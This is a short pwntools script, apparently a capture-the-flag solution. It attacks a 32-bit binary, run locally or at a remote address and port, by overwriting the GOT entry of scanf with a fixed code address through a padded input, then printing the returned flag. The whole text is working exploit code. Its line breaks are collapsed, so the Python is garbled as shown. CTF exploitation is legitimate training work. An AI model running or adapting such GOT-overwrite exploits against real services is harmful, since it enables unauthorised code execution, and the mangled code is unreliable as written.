defpayload(lo:int): global sh if lo: sh = process(EXE) if lo & 2: gdb.attach(sh) else: sh = remote('101.132.170.0', 32687) elf = ELF(EXE) scanfGot = elf.got['__isoc99_scanf']
sh.sendlineafter(b'JUST', b'1') # reach the length of %108s, so use send to prevent \n drop down sh.sendafter(b'name', b'Rocket'.ljust(0x64, b'\0') + p32(scanfGot) + p32(scanfGot)) sh.sendlineafter(b'First', str(0x804871b).encode()) # check + 0x98 sh.sendlineafter(b'Second', str(0x804871b).encode())
sh.recvuntil(b'flag{') flag = sh.recvuntil(b'}') success(f'{GOLD_TEXT("Flag is:")}{"flag{"}{flag.decode()}') sh.close()